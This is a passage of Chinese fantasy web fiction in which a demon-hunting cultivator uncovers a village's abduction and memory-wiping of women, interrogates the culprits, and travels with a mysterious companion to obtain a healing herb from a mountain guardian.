老头疼得昏厥过去,拍卖会的掌使者看见这惨状,吓得双腿像筛糠似的抖个不停,下身瞬间湿了一大片,一股浓烈刺鼻的尿骚味瞬间弥漫开来。他惊恐万分地喊道:“我说,我说!”
梵音眼神冰冷如霜,利落地收起剑,语声如冰:“快说!”
那名女子忙不迭地拽着梵音往后疾退几步,一只手如闪电般捂住鼻子,眉头皱得仿佛能夹死一只苍蝇,另一只手还下意识地挥了挥,似乎想驱散那股难闻的气味。
掌使者满脸通红,涕泪横流,抽抽搭搭地哭诉道:“一年前善缘村并非是如今的盛名,而是以孤寡男人居多。
只要有哪家生下女子就会被视为败家子,要么让其自然死亡,要么或者丢到河里随水流自生自灭。
渐渐变成孤寡村,村里的男子即使去邻村或者是临县相亲都无人敢来孤寡村。
就在这时,村长获得了仙缘。可以消除人的记忆,从此以后只要经过善缘村的女子我们都会收留她们。
于是村里就没有孤寡男人了,甚至打造了善缘村的美名,村子里的人都很感谢村长....”
梵音垂下眼帘,掩住了眸中的冷笑,面上一片冷气如霜:“你们管这个叫收留?擅自拐走女子,清除记忆和捏造记忆!甚至还没日没夜监控女子?简直丧心病狂!”
此时,村里那歪歪斜斜的房屋好似一张张狰狞的鬼脸,四周弥漫着令人窒息的腐朽气息。
远处的空地上,几个孩童在嬉闹,他们的笑声在这压抑的氛围中显得格外诡异。
而那些被临时关押的村民们,脸上没有丝毫的同情和愧疚,有的只是冷漠和麻木。甚至有几个村民交头接耳,低声议论着,眼中还闪烁着对梵音等人的不满和敌意。
她再次拔剑,那剑身闪烁着冰冷的寒芒,梵音冰寒面容上散发着怒气,朝着老头和掌使者的下半身狠狠刺去两剑。只听得“噗噗”两声,鲜血四溅,染红了地面。
“啊!!!”
他们的身体剧烈地抽搐着,发出撕心裂肺的惨叫,那声音仿佛要冲破云霄,响彻整个村庄。
场上的人都被这血腥的一幕吓得噤若寒蝉,连大气都不敢出。然而,那些围观的村民们突然挣扎起来,衙役们敲击铁门。“别动!再动别怪棍棒无眼了!”
衙役们对这种全村皆恶人的景象实在是罕见至极,只觉得就算让他们下十八层地狱都不足以赎清他们的罪孽。
梵音抬眼看向伏御,眼中满是疲惫和愤怒,声音沙哑:“师兄。帮他们止血,别让他们死了。还要再问问仙缘和拍卖会是怎么回事。”
伏御点点头,神色凝重地起身走向昏厥的两人。
柳大人轻轻咳嗽两声,打破了这令人窒息的沉默:“咳咳,治疗过后先将人押到牢房。至于,这些受害女子劳烦伏仙人尽早调制解药,恢复记忆后方可送她们回家。”
梵音脸上浮现出一种挣扎和懊悔,女子猛地伸手轻轻点了点她的眉间,柔声安慰道:“梵小姐无需自责,你已经救了她们了。”
伏御抬眼看了一眼梵音,目光坚定:“师妹,切莫自责。”
梵音叹了口气,眉头紧锁:“师兄,你可记得这个村的那些小孩....”
伏御和柳大人一行人一愣,脸上露出疑惑的神情。
梵音思忖过后道:“柳大人。这些小孩是否能交给我们定律司呢?”
柳大人一愣,犹豫片刻后说道:“可是,那些小孩是人类,并非是妖...”
梵音口气十分的清淡,仿若刚刚出唇,就融化在了风中一般:“那些小孩的出生和成长环境都并非普通人该经历的,他们的心智和是非定论都需要经过定律司审判究竟适不适合回归正常生活。”
柳大人摩挲着胡须,沉思良久,沉声道:“梵仙人所言有理。这起案件的情况和建议我会呈报给圣上,请求圣上定夺。”
梵音点点头,感激道:“多谢。”
柳大人一行人雷厉风行,就地取材,以令人惊叹的速度将广场搭建成为一座临时医馆。
伏御正襟危坐于诊台之后,全神贯注且一丝不苟地一一查看全村女子的病情。他目光如炬,凭借着精湛的医术按照病情的轻重程度,有条不紊地将众人划分为轻、中、重三个阵营,然而他的眉头却紧锁不展,神色凝重至极。
梵音换装完毕,步伐轻盈如风,双手稳稳地端着一杯水,轻声问道:“师兄,情况如何?”
伏御笔下微微一顿,脸上浮现出一抹忧虑,接过梵音的水缓缓说道:“目前来看,村中除了新拐走的女子以外,其余的基本上都处于重度病情。”说着,他忍不住朝梵音身后的女子快速瞥了一眼,心中暗道:这女子怎么如此依赖梵音?
梵音偏过头,目光柔和地看了一眼女子,女子则立刻冲她露出一个轻柔的浅笑,以示友好。梵音无奈地轻叹一口气,神色焦急地问道:“轻、中、重治疗所需的药和疗效时长可有定论?”
伏御长叹一口气,神情严肃地说道:“经过我的研究,除了迷魂药和忘忧香以外,他们竟然还使用了妖界的造忆草。
其效果类似于言妖,能够对人进行深度催眠。这个造忆草需要长期服用,这也是为何我们会在隧道中发现全村女子的关键原因。”
梵音瞬间心领神会,目光敏锐地抓住了此事的核心要点,急切地说道:“所以,其实那个村长并非是妖。而是服用了柳家府类似的药丸从而导致身上出现妖气?”
伏御连连点头,眼中满是对师妹聪慧的赞赏,肯定地说道:“没错。师妹果然一点就通。”
梵音脸色一沉,语气严肃而急切,追问道:“这个造忆草解药可有解决方案?”
“植褚。
虽然我万宝袋之中存有一些库存,但就目前来看,鉴于受害人数众多以及所需药量巨大,恐怕是远远不够的。”
梵音略作思忖,片刻后说道:“村长和掌使者如今状况如何?”
“没啥大碍。”
梵音眸中忧虑重重,“我待会去请柳大人一同审问村长和掌使者。
如果按照我们的推理,村长若真是人类,那我们是无法将其带回定律司的。一旦结案,我便动身去采摘植褚。
师兄,你就在此地负责治疗受害者,可好?”
女子闻言,急忙拽了拽梵音的衣袖,声音轻柔却带着坚定
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地说道:“我也要跟你一起去。”
伏御赶忙起身,伸出手试图阻拦,急切地说道:“姑娘。你旧伤还未痊愈,需接受治疗后方可离开。而且采摘植褚极为危险,那里可是有神兽镇守的。”
梵音抬手,温柔地摸了摸女子的头发,轻声安抚道:“莫怕。我采摘后定会再回来的。”
女子却死死拽着梵音,语气坚决地说道:“带着我一起去吧!我是有用的。我记得我是御兽宗的....”
伏御面露难色,再次提高音量说道:“姑娘,真的不行。这实在是太危险了。”
梵音轻轻拍拍女子的手,示意她稍安勿躁,而后转头对伏御说道:“师兄,借步说话。”
梵音和伏御并肩往河道走去,梵音压低声音说道:“师兄。那名女子其实我一直心存疑问,那日我原本即将被狼群所伤之际,狼群却似乎像是被某种神秘力量命令一般,瞬间低头跑走了。”
伏御神色骤然一紧,满脸关切与紧张,迅速拽住梵音,心急如焚地前后左右仔细查看,声音颤抖地问道:“没受伤吧?”
不远处的女子神色阴晴不定,目光紧紧地盯着两人,眼神中透着复杂的情绪。
梵音轻轻拍拍伏御的手,脸上带着从容的微笑,安慰道:“无碍。本来我怀疑她是村庄恶行的背后主谋,但如今听她提及自己来自御兽宗,也就不难理解当时狼群的异常举动了。”
伏御面露担忧之色,眉头紧皱,忧心忡忡地说道:“可是....既然心存怀疑,为何还要将她带在身边呢?万一有危险可如何是好?”
梵音轻轻一笑,眼神中充满自信与坚定,坦然说道:“如今在这捉妖界,能伤到我的人,还是屈指可数的。”
伏御怔愣片刻,这才恍然想起梵音已经修炼归来并且突破境界,他眼神微微一暗,带着几分苦涩说道:“确实。但也要小心提防,我给你几个药粉以备不时之需。”
梵音深知伏御的好意,微笑着点点头,伸手收下了药粉。
梵音和柳大人一同踏入审讯室,室内的气氛瞬间变得凝重压抑。村长和掌使者一见到梵音,脸色瞬间铁青,身体哆哆嗦嗦,如同寒风中的枯叶。
衙役在一旁说道:“大人,这两人宁死不屈,无论怎么问,都不肯讲仙缘和拍卖会的事情。”
梵音眼神一冷,瞬间抽出剑,剑身在昏暗的灯光下闪烁着寒芒,她神情冷峻道:“如果不开口的话,就不仅仅是出血而已。直接让你们以后都不能人道。”
村长和掌使者惊恐地对视一眼,眼中满是恐惧和挣扎。村长嘴唇颤抖,刚开口道:“之前我去四处奔波拜寺庙求佛捐赠只为保佑村里的姻缘,终于在观......”
“呃——”
刚说完一个“观”字,他突然一脸痛苦,面容扭曲得不成样子。
只见他的身体以肉眼可见的速度干瘪下去,短短几秒就变成了一个干尸。一旁的掌使者目睹这恐怖的一幕,拼命尖叫起来,那声音尖锐刺耳,仿佛要冲破屋顶。
极度的恐惧让他的叫声戛然而止,最终再次晕厥过去。整个审讯室陷入了死一般的寂静,梵音和柳大人的脸色愈发阴沉。
16. 粗劣伪装
柳大人此时仍面有惊色,身躯微微颤抖,神色间带着浓浓的犹豫,嘴唇嚅动着说道:“梵仙人,这个妖的死法在妖界是正常的吗?”
梵音脸色瞬间阴沉下来,不得不说看见此死法没有瘫软在地的人属实厉害了。
她恭敬地朝着柳大人行礼,缓声道:“柳大人。其实我和师兄判断村长应是普通人类。这个村长只是个被利用的棋子,因为触及到背后凶手的关键信息才被灭口的。详细死因估计需要等师兄进一步查探。”
柳大人眉头紧皱,抬手指了指那个晕了好几次、此刻仍瘫软在地的掌使者,神色焦虑地说道:“那看来此人不知道背后凶手的真面目了,否则怎会留他一命?”
梵音轻轻点头,神色严肃,语气郑重地说道:“这个人估计就是个听命行事之人。
另有一事需要向大人禀报。因善缘村的受害者众多,缺失一味重要药引。我需要尽早启程采药,而掌使者为人类的话,不属于定律司掌管。审讯之事有劳柳大人了。”
柳大人闻言,忙不迭地拱手行礼,脸上满是感激与敬重:“有劳梵仙人了。老夫替善缘村女子给你道谢。”
梵音脸上闪过一丝受宠若惊的神情,连忙伸手扶起柳大人的手,目光诚恳:“这本是我的职责所在,大人不必如此。”
柳大人重重地叹了口气,满脸沉重与悲哀,缓缓说道:“这个案件在老夫几十年的办案经验里都实属罕见,恶劣性质也是数一数二的。这股恶风不知何时才能消散啊.....”
一众衙役闻言,更是神情肃然,有的紧咬嘴唇,有的握紧拳头,眼中满是悲愤。这个案件必然是会载入史书中的。而他们既为有幸参与其中感到荣幸,又为这般惨烈的景象而哀叹。
梵音将牢房的事情与伏御交代完毕之后,神色郑重,目光坚定地说道:“师兄。关于村长的死因看看能不能查出来是什么导致的?我初步探查应该是毒杀,但具体何种毒物还需师兄探查。”
伏御微微颔首,神色认真,回应道:“好。我已经配好女子的药了,你记得观察她的记忆是否有如期恢复。”
梵音眼神一闪,瞬间领会伏御的潜台词,郑重应声道:“我会的。”
她走向现如今正抬头望天、眼神有些迷离的女子,轻声问道,语气温柔而关切:“服完药可有不适?”
女子微微一笑,轻轻摇头,脸上带着几分感激。
梵音摸了摸女子的头发,眼中满是怜惜:“你是不是嗓子不舒服?此前看你发声略有不适。有问题的话还是让师兄给你看看?”
女子似乎有点羞涩,脸上泛起一丝红晕,轻轻咳嗽一声,低声说道:“无碍。只是许久未开口。”
梵音看着她,眼中流露出温暖的笑意,仿若看到了小时候羞涩可爱的妹妹,心中倒生出了几分亲近之感。声音情不自禁开始变柔:“记忆可有所恢复呀?”
女子双手捂着自己的脸颊,带点生涩,眼神中透着些许期待,说道:“并无,可能药效还未真正起效。”
梵音只觉得她颇有几分可爱,嘴角微微上扬,思索几秒后说道:“收拾收拾,我们准备启程前往脱扈山吧。你可会御剑飞行?”
女子轻轻摇头,眼中闪过一丝惊讶和受宠若惊。
梵音思忖几秒后,目光温和地说道:“无事。御兽宗可能确实是对于御剑飞行没什么必要,你们应当是可以召唤飞禽走兽供你们驱使。但因为受害者兹事体大,最快的方法就是御剑飞行。你可愿意与我同乘?”
女子眼睛顿时瞪大,满是惊喜和不可置信,欣喜说道:“自然是愿意的。”
“破云剑!”
随着一声轻喝,梵音携女子稳稳踏上剑上。清风徐徐拂来,撩动二人的发丝。梵音身姿挺拔,衣袂飘飘,剑如流星般迅猛冲天而起,瞬间划破长空。身下是连绵起伏的青山和蜿蜒流淌的河流,恰似一幅美轮美奂的画卷徐徐展开。女子娇俏的脸上既有紧张带来的苍白,又有兴奋泛起的红晕。
梵音敏锐地察觉到她并无不适,一想到那些被害者的伤情,便毫不犹豫地开始加速。剑如流光,急速穿梭于云霞之间。狂风在耳边呼啸怒号,身下的山川河流如飞一般迅速后退。
“啊~”
女子顺势而为,双手一下子搂住梵音的腰,整个身体都贴了上去。梵音感受到腰部传来的热度,眉头微微一皱,开始降速。“是飞太快让你不适了吗?”
女子却将自己的身躯更贴近梵音的背部,对着她的耳旁轻轻吹了口气,柔声开口道:“无碍。人命关天,梵小姐还是加速吧。”
梵音似乎被背部的温度和耳根的热气烫到了一般,脸颊瞬间滚烫起来。还好空中温度较低,热气很快消散。
疾速飞行下已有好几个时辰,天色渐晚。两人降至一个村落,这村落看似不大,却热闹非凡。入目是一排排错落有致的屋舍,屋顶上升起袅袅炊烟。
狭窄的街道由青石铺就,被岁月打磨得光滑发亮。街边的摊贩一个挨着一个,吆喝声此起彼伏。卖糖人的手艺人熟练地摆弄着手中的工具,不一会儿就变出一个栩栩如生的糖人;卖饰品的摊位上,各种精美的发簪、耳环在灯光下闪耀着迷人的光芒;
“今夜已晚,我们先在这个村子歇息一晚。明日一早出发,你看可好?”
女子点点头,目光却紧紧盯着不远处的一个糖人摊,眼中流露出渴望。
梵音察觉到了这道视线,但还是拉着她前往客栈办理住宿和解决晚饭。“倘若你还是没记起名字的话,此行多有不便。不如我给你先起个名,你看可否?”
女子闻言有些怔愣,像是陷入了深深的回忆之中。停顿许久后,“自然。”
梵音思忖片刻后道:“不如叫你小七如何?”
女子闻言扑哧一笑,心里暗道:“这个起名习惯是一点都不改啊。”
梵音看她笑得前俯后仰的模样,略带尴尬,脸上带着几分羞红:“是不喜欢吗?”
女子连忙摇摇头,双手挽住梵音的胳膊,“没有。就叫小七即可
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。”
梵音去和店老板订房,女子则在大堂坐下开始点菜。不一会儿,桌上摆满了丰盛的菜肴,有热气腾腾的红烧肉、鲜嫩可口的清蒸鱼、清香扑鼻的炒时蔬。
女子坐下后,目光一直停留在梵音身上,眼中满是柔情。她拿起筷子,不停地给梵音夹菜,“梵小姐,你多吃点这个红烧肉,看着就美味。”说着又夹了一筷子清蒸鱼放进梵音碗里,“还有这个鱼,也很鲜嫩呢。”
梵音有些不好意思,“够了够了,你也吃。”
小七看着梵音不习惯被人照顾的模样轻笑,夹着声音温柔道:“好~”
梵音轻笑出声,“小七,走吧。我定了两件标房,隔壁间就是我。有任何事记得第一时间通知我,知道吗?”
小七呆了一会,反应过来是在叫自己,连忙应道:“好!来了。”
夜深人静之时,如水的月光透过那扇破旧且斑驳的窗棂,似轻纱般轻柔地洒落在屋内。
“嗡嗡嗡——”
传令牌嗡嗡作响。
“怎么样?”传令牌那头传来一个女子的声音,那声音里颇有几分紧张感,仿佛心弦紧绷,在这万籁俱寂的氛围中显得格外清晰。
“进展顺利,并未有破绽。”
“真的吗?”
声音明显带着浓厚的怀疑,尾音都不自觉地上扬。
“你不是看过我的扮相了吗?不相信我也要相信你自己的眼光吧?”
小七的声音略带几分咬牙切齿,话语中透露出些许不满,此时屋内的烛光在微风中微弱地摇曳,昏黄的光影在墙上如鬼魅般晃动,映得小七的脸色阴晴不定。
“扑哧,可是你的声音.....”
对方似乎带着几分窃笑,那笑声仿佛要从传令牌中溢出来,与屋外偶尔传来的几声悠远而苍凉的犬吠交织在一起,在寂静的夜空中回荡。
“姑娘,别说笑了啦~”小七开始夹着嗓子说话,声音又尖又细,带着几分刻意。
“....”
“怎么了?”
“噗哈哈哈哈哈哈.....不好意思....没忍住.....太好笑了....”一股明显是扑倒在被褥发出的闷笑声传了过来,那笑声中满是抑制不住的欢乐。
“......”
小七一幅面无表情的模样,二话不说手动切断传令牌的信号。
“嗡嗡嗡——”
小七无情地再次切断。
“嗡嗡嗡——”
小七突然开始练习起来了,“咳咳....姑娘....”她一边说着,一边在房间里来回踱步,眉头紧皱。反复琢磨着语调的高低和语气的柔缓,努力调整着呼吸和发声的节奏。
“嗡嗡嗡——”
“嗡嗡嗡——”
“嗡嗡嗡——”
小七咬牙切齿地接通:“吵死了!有事再联络。”
“好的....哈哈哈....”对方似乎立马变乖了,声音中还带着几分尚未消散的笑意,
17. 在线撒娇
翌日一早。
小七睡眼惺忪地起身,打着哈欠走向隔壁敲门。这时,小二笑嘻嘻地迎上来,热情地说道:“姑娘。你是找你同行的人吗?她一早便洗漱好在楼下等你啦~”
小七眼里闪过一丝惊讶,那惊讶的神情在她的脸上一闪而过,似乎很惊讶于梵音的体贴。“好的,多谢。”
客栈大堂里,人来人往,热闹非凡。嘈杂的交谈声、杯盘碰撞声交织在一起。梵音独自坐在窗边,她一只手托着下巴,遥看远处人间烟火,脸上却带着几分落寞。那落寞的神情仿佛与这热闹的场景格格不入,微风吹起她的发丝,更增添了几分孤独的韵味。
小七敛容走向她,走路姿势略为粗旷。她微微俯身,轻声说道:“梵小姐,怎么不叫醒我呢?”
梵音转头看了一眼洗漱完毕的小七,微笑着回应道:“今日路程会比昨日更久一些。想着还是让你这个病人多休息会。”
她说罢朝着小二招招手,只见小二一路小跑着,立马端着早食快步走了过来。
热气腾腾的馄饨和肉包子散发着诱人的香气,“快吃吧。我一早起来便吃了。”
随后又拿出了碎银子递给小二,“装一些干粮,多谢。”
小七一边吃着馄饨,一边抬头问道:“梵小姐可是有什么心烦之事?”
梵音眼神闪过一丝打量,目光中透着疑惑,“何出此言?”
小七拿起一个肉包,眼神却紧紧盯着梵音,带着几分侵略。随后伸出舌头一口咬住肉包,肉汁随着唇边溢了出来,顺着嘴角一侧溢出。“因为,你坐在窗边却一幅有心事的模样。”
梵音感觉到了一股侵略感,她对于干净是有强烈要求的,寺里无人不知。但想到小七只是个外人,还是强忍着不适将丝巾递给她,眉头微皱,说道:“吃饭的时候注意一些。”
小七略有些尴尬,脸上泛起红晕,尬笑道:“不好意思,见笑了。”说罢接过丝巾,胡乱擦了擦嘴角,但嘴边还是留有油渍。
梵音只觉得那油渍颇有几分碍眼,不由自主地探出身子,伸手用力擦了擦小七的嘴角。
“嘶~”
小七轻轻扯了一下嘴角,抬头看了一眼近在咫尺的梵音。此时她眼里没有修炼,没有案件,映出来的只有她。小七眼里闪过一丝愉悦的情绪,紧紧盯着梵音的脸,一把捉住她欲收回的手。
“轻点,会疼的~”
梵音被那滚烫的手捉住,想收回手却收不回。低头看了一眼始作俑者,只见她眼神透出一种很清澈又炙热的感觉,嘴角确实红了一块。她一下子更慌神了,着急忙慌地抽回自己的手。
一旁的小二带着干粮过来,看到这一幕颇有些犹豫,站在原地,不知该不该上前。
梵音连忙咳嗽了几声,双颊绯红。小七却带着几分遗憾松开了手,像是什么都没发生似的继续吃着馄饨。
梵音将干粮收进万宝袋,动作干净利落。两人即刻起身,再次踏上飞剑,继续飞往脱扈山。
转瞬就到了黄昏之际,夕阳的余晖给天空染上了一抹绚丽的橙红。两人终于抵达脱扈山。
脱扈山巍峨耸立,连绵不绝,仿佛一条巨龙蜿蜒盘踞在大地之上。山上古木参天,郁郁葱葱,茂密的枝叶交织在一起,形成了一片绿色的海洋。山峰高耸入云,陡峭的悬崖如刀削斧劈一般,让人望而生畏。
两人在半山腰停下,梵音拿出伏御给的植褚画像。
小七好奇地凑过来,“植褚长什么样子?”那温热的气息喷洒在梵音的指缝之间,梵音身体一僵,像是被电流击中一般。
“植褚是草类植物。形状像葵菜的叶子而是红花,结的是带荚的果实,果实的荚像棕树的果荚。”
小七轻笑出声,夸赞道:“好厉害,梵小姐你懂得好多啊~”
梵音一向沉迷于修炼,对师兄弟或师妹都是严师典范。倒从未有人像小七这样一而再再而三地亲近自己,夸奖自己。
“咳咳,仅仅是略懂皮毛。是师兄教我的。”
梵音嘴上谦虚着,可那肉眼可见微微上扬的嘴角却出卖了她内心的喜悦。
小七蹲下身子朝着土地施咒。瞬间,满山瑟缩,树叶颤抖,仿佛整个山脉都在回应她的召唤。
不远处传来蹄声和各种混杂的脚步声,一阵一阵的,如闷雷般滚滚而来。梵音只觉得这个阵势略为有些不妙,心中警铃大作,正准备捏诀起个保护罩。
“别急。是我召唤过来的。”
只见万兽列阵,气势恢宏。
那万兽形态各异,有的身躯庞大如山岳,有的身形矫健似闪电。狰狞的獠牙在月色下闪着寒光。一双双血红的眼睛充满了警惕和敌意,喉咙里不时发出低沉的咆哮声,让人毛骨悚然。
一个七彩鹿从万兽之中优雅地走出,身姿高贵而神秘。
“是你召唤我的?”
小七不卑不亢道:“正是。实不相瞒,前日我们在善缘村中捉获了一群人,他们用造忆草祸害人类女子。导致一群无辜的女子记忆不全,无法回家。我们急需植褚做药引,是否可以让我们采摘?”
七彩鹿抬起鹿角,神色庄重,“关于此事我已听到鸟类讨论了。植褚乃是我守护的仙草,若轻易放你们采摘。我们又如何面对脱扈山?”
小七闻言眸色一沉,眼中闪过一丝凌厉,正欲出手。
梵音眸中涌起一抹悲怆之色,正色道:“既然你们是脱扈山的守护神。神若看见人受苦,会选择旁观吗?”
七彩鹿似乎没想过这个问题,沉默许久后才缓缓说道:“我的职责就是守护植褚。你们非要的话那就赢了我再说!”
小七早已蓄势待发,一副跃跃欲试的模样,“如此也好!”
梵音嗔怪地瞪了小七一眼,轻声阻止道:“既然说的是输赢。那不如我们换一种玩法可好?”
七彩鹿歪头,鹿角晃动,似乎有所不解。“可以,你说吧。”
梵音眼神狡黠,犹如一只灵动的狐狸,“那我们来比单腿站立,看谁坚持的时间长谁就赢。如何?”
万兽闻言嘶吼,那声音犹如滚滚惊雷骤然炸响,震耳欲聋。声波如汹涌的巨浪,一波接着一波地冲击着人的耳膜,仿佛要将天地都撕裂开来。
小七立于梵音身后,只见她周身散发出一种强大的气息,那气息让万兽噤声。
万兽蔫了吧唧地站在一旁,不敢再放肆。七彩鹿虽然不懂人性,但祂能察觉出梵音散发的善意。
“可以。听着很有趣。”
于是,场面一度很诡异。
万兽将两人一鹿包围起来,一人一鹿金鸡独立。
虽
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说四脚兽无法平衡,可这个也并非是普通的鹿,是守护神!
天色越发黑沉,如浓稠的墨汁一般。万兽也从原本的精神十足,再到肆意乱躺。
小七看这架势估计要等到明日一早。
思忖及此的她手上慢慢蓄力,可就等她朝七彩鹿出手之际,手上蓄的力被打散了。她心虚的抬眼看了一眼梵音,在场能做到这样的事的只有梵音。梵音脸色铁青,仿佛能滴出水来。她心虚一笑,乖乖坐正。
漫长的黑夜过去,翌日的晨曦悄然洒落在脱扈山上。
经过一夜的僵持,梵音依旧身姿挺拔,单脚站立的姿势纹丝未动。她的额头虽布满细密的汗珠,但眼神中却闪烁着坚定不移的光芒。
而对面的七彩鹿,原本高贵优雅的姿态此刻已略显狼狈。它的四肢微微颤抖,呼吸也变得急促起来,那原本明亮的眼睛中渐渐透露出疲惫和动摇。
随着时间的推移,七彩鹿终于支撑不住,颤抖地放下了三只脚。
梵音的脸上露出了微笑,她微微仰头,迎接那温暖的阳光。微风拂过,她的发丝轻轻飘动,更增添了几分英姿飒爽。守在一旁的小七眼里全是欣赏和隐晦的情绪。
“人类,这场比赛很有趣,脱扈山已经许久没有如此热闹有趣了。愿赌服输,我已差使鹿群采摘植褚了。”它的声音浑厚而悠远,在山林间回荡。
话音刚落,一群麋鹿迈着优雅的步伐出现,它们口中含着植褚,那鲜嫩的植褚在阳光的照耀下显得格外生机勃勃。
梵音轻笑,朝着七彩鹿和万兽深深行礼,眼神中满是感激:“多谢。”
此时,周围的万兽发出一阵低鸣,那声音宛如一首和谐的乐章,在山林中奏响。阳光洒在梵音身上,为她镀上了一层金色的光辉,耀眼而夺目。
梵音将植褚收集放进万宝袋,动作轻柔而迅速。小七也赶紧跟着收拾,只是小七能明显感受到梵音对她的排斥,她的动作略为有些紧张和小心翼翼,眼神中透着不安。
收集完植褚后,梵音也默不作声召唤破云剑。只是她并未再像之前那样搀扶小七,小七顿时有点手忙脚乱。
御剑飞行过程中,小七终于忍不住贴近梵音,轻声道:“你别生气啦。我知道我试图作弊让你不开心了,但我不是担心你吗?连着两天御剑飞行又得耗一夜精神去比赛....”说着说着带着几分哭腔,声音中满是委屈和懊悔。
梵音叹了口气道:“七彩鹿和万兽不过是做了守护神该做的事情。祂们若诚心不想要让我们拿植褚的话,怎么会轻易答应这种类似七岁小孩的比赛呢?
我气得是祂们都退了一步,你却想压榨祂们的善意。如此一来,往后祂们还能轻易相信人类吗?”她的语气严肃而带着几分无奈。
小七眼里闪过一丝惊讶,祂们是否还会继续给人类信任和善意并非在她的考虑范围内,她只在乎眼前人。
“我知错啦,下次....绝对没有下次了!”说罢还扯了扯梵音的衣角,像个犯错的孩子般撒娇。
梵音颇有几分无奈道:“好了。我们在飞行呢,别乱动!”
小七眼睛一亮,撒娇道:“你原谅我了,是不是~是不是~~~”
梵音嘴角微扬,很轻很轻的恩了一声,那声音如同春风拂过湖面,泛起层层温柔的涟漪。
18. 报应不爽
梵音两人一刻未停,终于在夜幕降临之际抵达善缘村。
梵音立刻前往药房将植褚交给伏御。伏御先是惊喜于她的出现,后是先是急切询问:“可有受伤?”他眉头紧皱,眼神中满是关切和担忧。
梵音轻轻摇摇头,脸上带着轻松的神情,“并无,甚至可以说是异常顺利。小七的身份绝不简单。”
伏御一怔,满脸疑惑,眼睛瞪得大大的,“小七是?”
梵音不假思索道:“就是那名女子。她依旧还未恢复记忆,为了方便紧急情况就叫小七了。”
伏御抬眼看了一下梵音,“是发生了什么事吗?感觉你似乎......”
他欲言又止,毕竟自从梵雪离开之后,她神色总是一幅郁郁寡欢的模样,如今却多了几分生气。他的眼神中透着一丝探究,微微眯起眼睛,表情略显凝重。
梵音眸光幽幽闪了一下,低声道:“她召唤了脱扈山的守护神,甚至拥有让万兽噤声的能力。”
伏御脸色一沉,嘴巴微张,似乎想说些什么却又不知从何说起,眉头拧成了一个疙瘩,一脸的难以置信。
还未说完话,便见不远处走来金长老。他身着一袭绣着繁复花纹的暗紫色长袍,衣摆随风轻轻飘动,袍角镶着金边,在月色下闪烁着若隐若现的光芒。
“梵音,既已回来为何不前来禀报?”
梵音抬眼望去,略带几分惊讶看向伏御,眼中闪过一丝慌乱。
伏御行礼后开口解释:“金长老。梵音还不知道您亲自莅临善缘村一事,我正想同她说,您就来了。”他此时表情恭谨,身体微微前倾。
梵音赶忙拱手行礼道:“拜见金长老。”她微微低头,神色恭敬。
金长老叹气,故作姿态道:“善缘村一案诚然你办的不错,但做人不能没有谦虚之心。
关于善缘村小孩一事,圣上已批准由定律司定夺。剩下的案件收尾交由我办理,你们可有异议?”他捋着胡须,那笑容看似亲切,实则不达眼底。
梵音和伏御两人对视一眼后道:“并无异议。全凭金长老定夺!”
金长老闻言笑眯眯,“关于你想问的与「观」字有关的寺庙,举国上下不说有十个也有百个。至于与寺庙相关的案件,目前在定律司档案库上并无记录。”
梵音眼神一暗,眉头不自觉地皱起,脸上满是失望。心中暗道:“果然光凭一个「观」字探不出个所以然。”
金长老继续说:“临县有一个疑似妖族犯案的要件,你在此地休整一夜,明日即刻出发。你可有异议?”
梵音接过金长老递过来的案件档案,“并无异议,那弟子先行告退。”她双手接过档案,微微颔首。
伏御准备起身跟随梵音,金长老阻止道:“伏御你留下。
那个案件并不难,不需要两个人前往。你要留在此地帮助受害者直至痊愈。”
伏御虽然知道不少长老对梵音出身草根有异议,但没想到连梵音的功劳都要抢去。他眉头紧蹙,鼻翼微微翕动,道:“得令!”
梵音起身后寻找柳大人所在的驻扎地,发现小七就在一个营地门口站着。她朝着梵音摇摇手,“梵小姐,这边~”。
梵音抬腿走向她,“小七。发生何事了?”
小七轻笑,“这里便是柳大人的营地。我猜你是要来这边的~”
梵音拍了拍小七的肩膀,语气意味深长:“你可真了解我啊...”
小七闻言嘿嘿一笑,颇有几分自傲,愣是没察觉出语气古怪。
柳大人听到营地门口的声响,立马放下手中的案件卷轴出门迎接。当看到梵音时,他的眼神中瞬间闪过一丝惊喜。
柳大人爽朗地笑着,眼中的惊喜之色难以掩饰。“哎呀。还真是梵仙人的声音,这才三日你们就赶回来了?这速度也太快了!”
梵音拱手行礼,请示道:“是啊。一回来先将药材给到了师兄,立刻过来和大人请安。”
柳大人一怔,随即大笑道:“无碍无碍。你我都是一起共难两回之人,无需在意这些虚礼!快快请进。”他边说边伸手示意,脸上带着亲切和热情。
梵音表情认真,目光专注地看着柳大人:“柳大人,关于审问掌使者一事可有什么进展吗?”
柳大人摩挲着胡须,脸色颇有几分难色,眉头皱得更紧了,“审问下来确实是和我们一开始猜测的结果大差不差,村长前往寺庙的时候都是独自前往。他即使想跟去,村长也不让。
所以,他只是在拍卖会的事情上掌握了一些信息。拍卖会上除了村子里的人以外,会有一些邻村或者临县的富豪商贾,但具体名单都是村长管理。
我们搜寻了村长的住所和整个村,并未找到这个账本。”柳大人说着,眼中闪过一丝愤怒和无奈。
梵音有些追悔莫及,早知道应该先让师兄检测一下村长的身体情况的。她咬了咬嘴唇,脸上露出懊悔的神色。
“多谢柳大人。我明日一早便要赶往旧元村,斗胆有一个请求希望柳大人可以同意。”梵音一脸诚恳。
柳大人闻言有些疑惑,“怎么刚回来就要离开?”他的眼神中透着关切,眉头再次紧锁起来。
梵音略带几分愧疚,“未能将此案跟到最后确实是有些遗憾。但现今我们定律司的五大长老之一金长老已亲临善缘村,故派我前往旧元村探查其他案件。”
柳大人身经百战,自然明白潜台词。他的眼神中透出几分怜惜,深深叹了口气,“那确实是颇有几分遗憾。”
商讨完事情后,两人从柳大人的营地离开。
小七略带不服气的傲娇顶腮,“梵小姐。你看似办案雷厉风行,但为何要将功劳让出去呢?”
梵音有些诧异,她轻轻一笑,眼睛亮亮的像个小鹿:“于我而言,能破案并且拯救受害者就是对我最大的功劳。”
小七眼神阴鹜,微微眯眼,其中透露出一丝危险的气息。“可是,梵小姐的梦想难道不是想当上定律司掌门吗?现如今善缘村一案可以说是大案要案。”
梵音眼神锐利,犹如利剑一般直视小七,目光中充满了审视。
“你怎知我的梦想?”
小七表情空白,眼中闪过一丝慌乱,略带迟疑道:“谁人不知定律司的首席弟子呢?”
梵音轻轻一笑,神色不动,也不知是信还是不信,只是没再继续追问。
“小七的记忆可有恢复呀?”
小七脚步一停,露出困兽般的眼神,眼神中满是惊恐和无助,委屈地瘪嘴,那模样颇有几分我见犹怜的破碎感。
“梵小姐是要抛下我吗?”
